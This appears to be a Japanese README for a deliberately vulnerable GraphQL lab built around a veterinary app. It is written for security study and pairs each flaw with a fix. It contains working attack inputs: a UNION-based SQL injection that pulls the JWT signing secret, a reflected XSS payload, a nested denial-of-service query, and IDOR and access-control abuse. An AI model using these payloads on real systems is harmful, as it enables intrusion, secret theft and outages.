
AppSecの観点からのGraphQL研究
さまざまな問題を研究するために、ラボが作成されました。これは犬の医療を管理する獣医のコンテキストを取ります。
ラボは IntelliJ IDEA Community Edition を使用して開発されました。
使用されるドメインは次のとおりです:```text
127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local
ラボの条件と前提は次のとおりです。
* 獣医師は0匹またはN匹の犬と関連付けることができます。
* 犬は0人または1人の獣医師と関連付けることができます。
* 獣医師は**人気**というプロパティを持ち、これはストレージシステム(データベース)に存在しますが、機密情報であるためGraphQLクライアントからアクセスしてはいけません。
* GraphQLのデータ消費の観点は獣医師です。犬の情報は公開されています。
* ラボは明示的に脆弱なアプリケーションであり、いくつかの脆弱性が実装されており、コメント内の`[VULN]`マーカーで識別されています。
* 認証に関しては、偽のサードパーティサービス(サーブレット経由)が実装されており、トークン内に獣医師名を含むJWTトークンを返します。
プロジェクト内の起動設定またはコマンドライン`mvn spring-boot:run`で起動すると、ラボは次のエンドポイントで利用可能になります。
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
アプリケーションをポータブルjarファイルとしてパッケージ化するには、コマンド`mvn package`を使用します(事前にビルドされたjarファイルは[こちら](https://github.com/righettod/poc-graphql/releases)から入手できます)。
* jarファイルは*target*フォルダに作成され、*graphql-poc.jar*という名前になります。
* コマンド`java -jar graphql-poc.jar`を使用してアプリケーションを実行します。
## Dockerへのデプロイ
> イメージは毎日[DockerHub](https://hub.docker.com/r/righettod/poc-graphql)に公開されています。
Dockerコンテナにアプリケーションをデプロイするには、次の手順に従います。
1. `docker`がインストールされていることを確認してください。
2. リポジトリを`git clone`します。
3. クローンしたディレクトリに移動します。
4. `docker build -t poc-graphql .`を使用してDockerイメージをビルドします。
5. これで、**poc-graphql:latest**というイメージがマシンに作成されました。
6. `docker run -p 8080:8080 poc-graphql:latest`を使用してコンテナを実行します。
7. 次のエンドポイントを使用してラボにアクセスします。
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
## セキュリティ上の脆弱性
### 認可
*壊れたアクセス制御*
[CWE-285](https://cwe.mitre.org/data/definitions/285.html)
#### 問題
GraphQLはすべてのリクエストが送信される単一のエンドポイントに基づいており、認可は仕様の範囲外(組み込み機能なし)であるため。
認可ロジックを実装するのはアプリケーション次第です。
私のラボでは、アクセストークンの検証が**veterinaryId**に渡された獣医師にトークンが属していることを確認しないため、この点に脆弱性があります。
**Example:**
識別子**3**を持つ**Dr Julien**のアクセストークンを、次のGraphQLリクエストを送信して要求します。```javascript
query getAccessToken {
auth(veterinaryName: "Julien")
}
以下のGraphQLレスポンスでアクセストークンを受け取ります:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }
私は取得したアクセストークンを使用してクエリ`myInfo(...)`にGraphQLリクエストを送信しますが、**Dr Benoit**のものである識別子**2**を指定します:```javascript
query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
id, name, dogs {
name
}
}
}
GraphQLレスポンスで、Dr Benoitに関連付けられたDogsのリストを受け取ります:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...
#### 推奨
GraphQLでは、`Role x Feature` を用いた認可マトリクスから、`Role x Data` を用いたデータレベルのセキュリティへと移行しました。これは単一のエンドポイントであるためです。ユーザーIDとロールは、データを取得(または操作)する上位層に渡され、データ取得前にユーザーIDを用いた検証を適用する必要があります。
### インジェクション
[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
#### 問題
GraphQLサーバーがデータストアに対して動作するために、GraphQLリクエストのクエリ/ミューテーション/サブスクリプションからの情報がどのように使用されるかに応じて、インジェクションの可能性があります。
私のラボでは、クエリ `dogs(namePrefix: String, limit: Int = 500): [Dog!]` におけるSQLiに関して、この点に脆弱性があります。なぜなら、パラメータ **namePrefix** が文字列連結に使用され、SQLクエリを構築しているからです。
**例:**
`CONFIG` テーブルの内容を一覧表示するために、次のGraphQLリクエストを送信します。```javascript
query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
}
GraphQLレスポンス内で、JWTトークンの署名に使用されるシークレットと、名前が ab で始まる犬の名前を受け取ります:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }
XSSについて、興味深いことに、送信されたリクエストの検証に失敗した場合、GraphQLレスポンスは送信されたパラメータをそのまま反映します。
**例:**
`myInfo(accessToken: String!, veterinaryId: Int!): Veterinary` クエリにこのGraphQLリクエストを送信します。Veterinary識別子(整数)をString XSSペイロードに置き換えます:```javascript
query xss {
myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
veterinaryId: "<script>alert('XSS')</script>") {
id
}
}
私はこのGraphQL応答を受け取り、それが私のペイロードを反映します。したがって、GraphQLクライアントとそのエスケープ/サニタイズ動作に応じて、XSSへの扉を開く可能性があります:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }
#### Reco
* Query/Mutation/Subscriptionを介して受信したデータに対して、使用前に入力検証を適用する
* GraphQLレスポンスからデータをレンダリングするクライアントが、レンダリング前にデータにエスケープ/サニタイゼーションを適用することを確認する
### Resource exhaustion
[CWE-400](https://cwe.mitre.org/data/definitions/400.html)
#### 問題
クライアントが要求するデータ量を制御できるため、クライアントは、GraphQLサーバーによって呼び出されるストレージ、およびデータのJSONへのシリアライゼーションのためのGraphQLサーバー自体にリソース枯渇を引き起こすクエリに対してGrapQLリクエストを送信することができます。
この問題は、パラメータに大量のデータを送信することでミューテーションを使用しても発生する可能性があります(入力検証はこの攻撃を防ぐために使用できます)。
この問題は、サブスクリプションを使用しても発生する可能性があります。その方法は次のとおりです:
* 多数のサブスクライバを登録し、公開された各サブスクリプションに対して行う。
* サブスクリプションで使用されるパラメータに大量のデータを送信する。
私のラボでは、クエリに関してこの点に脆弱性があります。具体的には、匿名ユーザーが利用可能で、Dogに関するDBの内容を取得するクエリ `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]` です。DogsとVeterinaryの間には関係があり、その逆もあるため、カスケード呼び出しを実行してDBのSQLレベルでリソース枯渇を引き起こすことが可能です。
**例:**
このリクエストを送信すると、CPUが数分間100%になり、DBはSQLiteであるためローカルになります。```javascript
query dos {
allDogs(onlyFree: false, limit: 1000000) {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
}
}
}
}
}
}
}
}
}
}
}
}

クエリに関して:
使用するGraphQLサーバーの実装に応じて、最大クエリ深度およびクエリ複雑度に対して提供される組み込みの保護機能を使用します(こちらの仕様を参照)。
Java実装の場合は、実行ストラテジに以下の2つのインストルメンテーションクラスを追加します。
上記2つのインストルメンテーションの使用例については、このクラスを参照してください。
ミューテーション/サブスクリプションに関して:
GraphQLでは、クライアントがAPIスキーマにアクセスして利用可能なデータ、クエリ、ミューテーション、サブスクリプションを発見できるようにするために、イントロスペクション機能が提供されています。
注: イントロスペクションを無効にすると、サーバーがGraphQL仕様およびほとんどのクライアントの期待に反することになるため、注意して使用し、ビジネスの観点からは無効にするよりもアクセスをフィルタリングすることを推奨します。
これは、クライアントがスキーマを深く調査して、Type内に興味深い機密情報が露出していないかを確認できることを意味します(露出しているMutationやSubscriptionに関するアクションについても同様です)。
私のラボでは、誤ってVeterinaryタイプ内に機密情報とみなされるpopularity情報を露出させてしまいました。
私のラボでは、このURLでスキーマのコピーを取得できます。
例:
ドキュメントエクスプローラーパネルを使用して、次のフィールドを発見しました:



GraphQLエンドポイントへのアクセスに認証制約を設定することで、匿名ユーザーへの露出を防ぐことができますが、認証されたユーザーはこの情報スキーマにアクセスできます。
クライアントが機密情報を公開するタイプの構造を見ることができたとしても、その情報を実際に表示するには、そのデータを返すQuery/Mutation/Subscriptionへのアクセスが許可されている必要があります。
機密情報をスキーマで定義されたタイプにマッピングしないでください。
GraphQLはクライアントがデータをどのように消費するかを具体化するため、GraphQLはリンクされたストレージ内のすべてのデータを公開するのではなく、クライアントのビジネスコンテキストに従って有用なものだけを公開する必要があります。
GraphQLサーバーが予期しないエラー(ストレージとのI/O、NullPointerException、タイムアウトなど)に遭遇した場合、応答は「Internal Server Error(s) while executing query」を示します。これにより、攻撃者がシステムに対して何らかのアクションを起こし、予期しない動作を引き起こしたという手がかりを与えます。
例:
私のラボでこのリクエストクエリを送信した場合(無効なトークン):```javascript query testErrorHandling { myInfo(accessToken:"aaaa", veterinaryId: 2){ id, name, dogs { name,veterinary{ name } } } }
この応答を受け取り、システムに作用して予期しない動作を引き起こしたことを通知されます。例えば、アプリのログにスタックトレースが生成され、アプリのログファイルがサイズではなく日付(日次)でローテーションしている場合、このリクエストを複数回送信してエラーログでディスクを埋め尽くすことができます…```javascript
{
"data": {
"myInfo": null
},
"errors": [
{
"message": "Internal Server Error(s) while executing query",
"path": null,
"extensions": null
}
]
}
予期しないエラーが発生した場合、例えば クエリを処理できません! のような一般的なエラーを返します。
この クラス に例があります。
GrapQL API が、データ識別子が推測可能/予測可能なQuery/Mutation/Subscriptionを公開している場合、Query/Mutation/SubscriptionはIDOR攻撃に対して脆弱です。攻撃者はカスタム作成した識別子リストを使用して、リスト内の識別子を持つデータへのアクセスや操作を試み、対象データを扱うQuery/Mutation/Subscriptionに認可の問題もある場合、その操作は成功します。
私のラボが提供するGraphQL APIのQuery/Mutation/Subscriptionは、犬と獣医の一意識別子に連続する整数を使用しているため、IDORに対して脆弱です。
例:
GraphiQLのドキュメントエクスプローラを使用すると、識別子が単純な整数であり、連続していることがわかります:


IDORを検出するためのリクエストクエリ:```javascript query detectIDOR { allDogs{ id,veterinary{ id } } }
応答は、犬と獣医のシーケンシャル識別子を示しています:```javascript
{
"data": {
"allDogs": [
{
"id": 1,
"veterinary": {
"id": 1
}
},
{
"id": 2,
"veterinary": {
"id": 1
}
},
{
"id": 3,
"veterinary": {
"id": 1
}
},
...
{
"id": 55,
"veterinary": {
"id": 2
}
},
{
"id": 56,
"veterinary": {
"id": 2
}
},
{
"id": 57,
"veterinary": {
"id": 2
}
},
{
"id": 58,
"veterinary": {
"id": 2
}
},
{
"id": 59,
"veterinary": {
"id": 2
}
...
GraphQL実装サーバーを使用してGraphQL APIを構築する際、デフォルトで一部の機能が有効になり、その結果、APIが誤ったクライアント範囲に公開されることがあります。
私のラボでは、デフォルトでWebSocketエンドポイントが/subscriptionsパスに公開され、認証が不要であるため、これが該当します(このドキュメントの「サブスクリプションによるリアルタイム更新」セクションを参照)。

スキーマがSubscriptionセクションでサブスクリプションを宣言している場合、クライアントはこのエンドポイントを介してAPIデータへのアクセスを取得できます。
例:
スキーマを介して公開されたサブスクリプションを確認できます:

このサブスクリプションリクエストを送信して、newAssociation サブスクリプションからイベントを受信する場合:```javascript subscription subscribeToNewAssociation{ newAssociation }
これからこの購読から情報を受け取ることを示す以下のメッセージを受け取ります。```text
Your subscription data will appear here after server publication!
例えば、別のブラウザでこのミューテーションリクエストを介して関連付けを作成すると、```javascript mutation associateDog{ associateDogToMe(accessToken: "eyJ0eXAiOiJKV1Qi...", veterinaryId: 4, dogId: 198){ name } }
ミューテーション応答は、アクションがデータレベルで実行されたことを証明しています:```javascript
{
"data": {
"associateDogToMe": {
"name": "Dobby"
}
}
}
しばらくして、購読への応答としてこの通知を受け取ります:```javascript { "newAssociation": "Dog['Dobby'] associated with Veterinary['Maxime']." }

##### クロスオリジンリソースシェアリングのデフォルト有効化
私のラボでは、デフォルトで[CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)が有効になっており、`*`に設定されているため、APIはどの`origin`からでも呼び出すことができます。
**例:**
このリクエストを送信する際に、`origin`を*domain1.local*から*domain2.local*に異なるものとして指定した場合:```text
POST /graphql HTTP/1.1
Host: domain2.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
origin: http://domain1.local:8080
referer: http://domain1.local:8080
Content-Length: 104
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache
{"query":"query testCORS {\n allDogs{\n name\n }\n}\n","variables":null,"operationName":"testCORS"}
この応答を受け取ります:```text HTTP/1.1 200 OK Connection: close Access-Control-Allow-Origin: * Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Type: application/json;charset=UTF-8 Content-Length: 3562 Date: Sat, 05 Jan 2019 16:23:47 GMT
{"data":{"allDogs":[{"name":"Abi"},...
ブラウザからの呼び出し:


#### 推奨
デフォルトで有効になっている機能を確認し、APIの露出に影響を与える場合は無効にしてください。
Subscriptionsエンドポイントの場合:
* サブスクリプションを公開する場合は、スキーマに公開されているすべてのサブスクリプションに認証とアクセス制御が設定されていることを確認してください。
* サブスクリプションを公開しない場合は、WebSocketエンドポイントを無効にするか、WAF/アプリケーションサーバーレベルでこのエンドポイントをブロックしてください。
私のラボでは、この[構成ファイル](https://github.com/righettod/poc-graphql/blob/master/src/main/resources/application.properties)に以下のオプションを設定しました:
* CORSの場合: `graphql.servlet.corsEnabled=false`
* WebSocketの場合: `graphql.servlet.websocket.enabled=false`
## ディスカバリクエリ
以下のクエリを使用してスキーマを取得できます。
非詳細:```javascript
{
__schema {
types {
name
kind
description
fields {
name
}
}
}
}
詳細:```javascript query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }
fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } }
fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }
fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }
## 使用した参考文献
### GraphQL
* [GraphQL サイト](https://graphql.org/)
* [GraphQL チュートリアル](https://www.howtographql.com/)
* [GraphQL の問題に関する DOYENSEC ブログ](https://blog.doyensec.com/2018/05/17/graphql-security-overview.html)
### ラボ
* [graphql-spring-boot](https://github.com/graphql-java-kickstart/graphql-spring-boot)
* [graphql-java-kickstart](https://www.graphql-java-kickstart.com)